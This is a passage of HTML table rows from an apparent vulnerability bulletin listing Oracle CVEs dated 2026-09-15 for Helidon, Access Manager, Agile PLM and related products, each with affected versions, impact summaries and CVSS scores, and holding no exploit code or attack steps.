&lt;td&gt;Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-webclient-http2). Supported versions that are affected are 4.0.0-4.5.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP/2 to compromise Helidon. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Helidon. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83276&quot; target=&quot;_blank&quot;&gt;CVE-2026-83276&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Helidon&lt;/td&gt;
&lt;td&gt;Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-webserver-http2). Supported versions that are affected are 4.0.0-4.5.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP/2 to compromise Helidon. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Helidon. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83280&quot; target=&quot;_blank&quot;&gt;CVE-2026-83280&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Helidon&lt;/td&gt;
&lt;td&gt;Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-webserver). Supported versions that are affected are 4.0.0-4.5.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Helidon. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Helidon. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83281&quot; target=&quot;_blank&quot;&gt;CVE-2026-83281&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Helidon&lt;/td&gt;
&lt;td&gt;Vulnerability in the Helidon product of Oracle Fusion Middleware (component: WebSocket). Supported versions that are affected are 4.0.0-4.5.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Helidon. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Helidon. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83330&quot; target=&quot;_blank&quot;&gt;CVE-2026-83330&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Helidon&lt;/td&gt;
&lt;td&gt;Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-webserver-static-content). Supported versions that are affected are 4.0.0-4.5.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Helidon. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Helidon. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87289&quot; target=&quot;_blank&quot;&gt;CVE-2026-87289&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Access Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Access Manager. While the vulnerability is in Oracle Access Manager, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Access Manager. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71133&quot; target=&quot;_blank&quot;&gt;CVE-2026-71133&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Access Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Access Manager. While the vulnerability is in Oracle Access Manager, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Access Manager accessible data as well as unauthorized access to critical data or complete access to all Oracle Access Manager accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Access Manager. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71163&quot; target=&quot;_blank&quot;&gt;CVE-2026-71163&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Access Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle Access Manager. Successful attacks of this vulnerability can result in takeover of Oracle Access Manager. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73940&quot; target=&quot;_blank&quot;&gt;CVE-2026-73940&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Access Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Access Manager. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Access Manager accessible data as well as unauthorized access to critical data or complete access to all Oracle Access Manager accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73944&quot; target=&quot;_blank&quot;&gt;CVE-2026-73944&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Access Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Access Manager. While the vulnerability is in Oracle Access Manager, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Access Manager. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73945&quot; target=&quot;_blank&quot;&gt;CVE-2026-73945&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Access Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Access Manager. While the vulnerability is in Oracle Access Manager, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Access Manager. CVSS 3.1 Base Score 9.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73946&quot; target=&quot;_blank&quot;&gt;CVE-2026-73946&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Access Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Access Manager. Successful attacks of this vulnerability can result in takeover of Oracle Access Manager. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73947&quot; target=&quot;_blank&quot;&gt;CVE-2026-73947&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Access Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Access Manager. Successful attacks of this vulnerability can result in takeover of Oracle Access Manager. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73950&quot; target=&quot;_blank&quot;&gt;CVE-2026-73950&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Access Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Access Manager. While the vulnerability is in Oracle Access Manager, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Access Manager accessible data as well as unauthorized access to critical data or complete access to all Oracle Access Manager accessible data. CVSS 3.1 Base Score 9.6 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73962&quot; target=&quot;_blank&quot;&gt;CVE-2026-73962&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Access Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Access Manager. While the vulnerability is in Oracle Access Manager, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Access Manager. CVSS 3.1 Base Score 9.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83001&quot; target=&quot;_blank&quot;&gt;CVE-2026-83001&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Access Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Access Manager. While the vulnerability is in Oracle Access Manager, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Access Manager accessible data as well as unauthorized access to critical data or complete access to all Oracle Access Manager accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73926&quot; target=&quot;_blank&quot;&gt;CVE-2026-73926&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Access Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Access Manager. While the vulnerability is in Oracle Access Manager, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Access Manager accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73941&quot; target=&quot;_blank&quot;&gt;CVE-2026-73941&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Access Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Access Manager. Successful attacks of this vulnerability can result in takeover of Oracle Access Manager. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73958&quot; target=&quot;_blank&quot;&gt;CVE-2026-73958&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Access Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Access Manager. While the vulnerability is in Oracle Access Manager, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Access Manager. CVSS 3.1 Base Score 8.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83002&quot; target=&quot;_blank&quot;&gt;CVE-2026-83002&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Advanced Benefits&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Advanced Benefits product of Oracle E-Business Suite (component: Self-serv What-if Analysis). Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Advanced Benefits. While the vulnerability is in Oracle Advanced Benefits, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Advanced Benefits. CVSS 3.1 Base Score 8.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83483&quot; target=&quot;_blank&quot;&gt;CVE-2026-83483&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Agile Engineering Data Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Agile Engineering Data Management product of Oracle Supply Chain (component: Engineering Communication Interface). The supported version that is affected is 6.2.1. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Agile Engineering Data Management executes to compromise Oracle Agile Engineering Data Management. While the vulnerability is in Oracle Agile Engineering Data Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Agile Engineering Data Management accessible data as well as unauthorized access to critical data or complete access to all Oracle Agile Engineering Data Management accessible data. CVSS 3.1 Base Score 8.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87259&quot; target=&quot;_blank&quot;&gt;CVE-2026-87259&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Agile Engineering Data Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Agile Engineering Data Management product of Oracle Supply Chain (component: Engineering Communication Interface). The supported version that is affected is 6.2.1. Easily exploitable vulnerability allows low privileged attacker with access to the physical communication segment attached to the hardware where the Oracle Agile Engineering Data Management executes to compromise Oracle Agile Engineering Data Management. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Agile Engineering Data Management accessible data as well as unauthorized access to critical data or complete access to all Oracle Agile Engineering Data Management accessible data. CVSS 3.1 Base Score 7.3 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87260&quot; target=&quot;_blank&quot;&gt;CVE-2026-87260&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Agile Engineering Data Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Agile Engineering Data Management product of Oracle Supply Chain (component: Engineering Communication Interface). The supported version that is affected is 6.2.1. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Agile Engineering Data Management executes to compromise Oracle Agile Engineering Data Management. While the vulnerability is in Oracle Agile Engineering Data Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Agile Engineering Data Management accessible data as well as unauthorized update, insert or delete access to some of Oracle Agile Engineering Data Management accessible data. CVSS 3.1 Base Score 7.3 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87261&quot; target=&quot;_blank&quot;&gt;CVE-2026-87261&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Agile Engineering Data Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Agile Engineering Data Management product of Oracle Supply Chain (component: Engineering Communication Interface). The supported version that is affected is 6.2.1. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Oracle Agile Engineering Data Management executes to compromise Oracle Agile Engineering Data Management. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Agile Engineering Data Management accessible data as well as unauthorized update, insert or delete access to some of Oracle Agile Engineering Data Management accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87262&quot; target=&quot;_blank&quot;&gt;CVE-2026-87262&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Agile PLM&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Agile PLM product of Oracle Supply Chain (component: Event Java PX). The supported version that is affected is 9.3.6. Easily exploitable vulnerability allows high privileged attacker with network access via T3, IIOP to compromise Oracle Agile PLM. While the vulnerability is in Oracle Agile PLM, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Agile PLM. CVSS 3.1 Base Score 9.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83260&quot; target=&quot;_blank&quot;&gt;CVE-2026-83260&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Agile PLM&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Agile PLM product of Oracle Supply Chain (component: Application Server). The supported version that is affected is 9.3.6. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile PLM. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Agile PLM accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Agile PLM. CVSS 3.1 Base Score 8.2 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87266&quot; target=&quot;_blank&quot;&gt;CVE-2026-87266&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Agile PLM&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Agile PLM product of Oracle Supply Chain (component: Folders, Files &amp;amp; Attachments). The supported version that is affected is 9.3.6. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile PLM. Successful attacks of this vulnerability can result in takeover of Oracle Agile PLM. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87254&quot; target=&quot;_blank&quot;&gt;CVE-2026-87254&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Agile PLM&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Agile PLM product of Oracle Supply Chain (component: Application Server). The supported version that is affected is 9.3.6. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile PLM. While the vulnerability is in Oracle Agile PLM, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Agile PLM accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87256&quot; target=&quot;_blank&quot;&gt;CVE-2026-87256&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Agile PLM&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Agile PLM product of Oracle Supply Chain (component: SDK). The supported version that is affected is 9.3.6. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile PLM. While the vulnerability is in Oracle Agile PLM, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Agile PLM accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
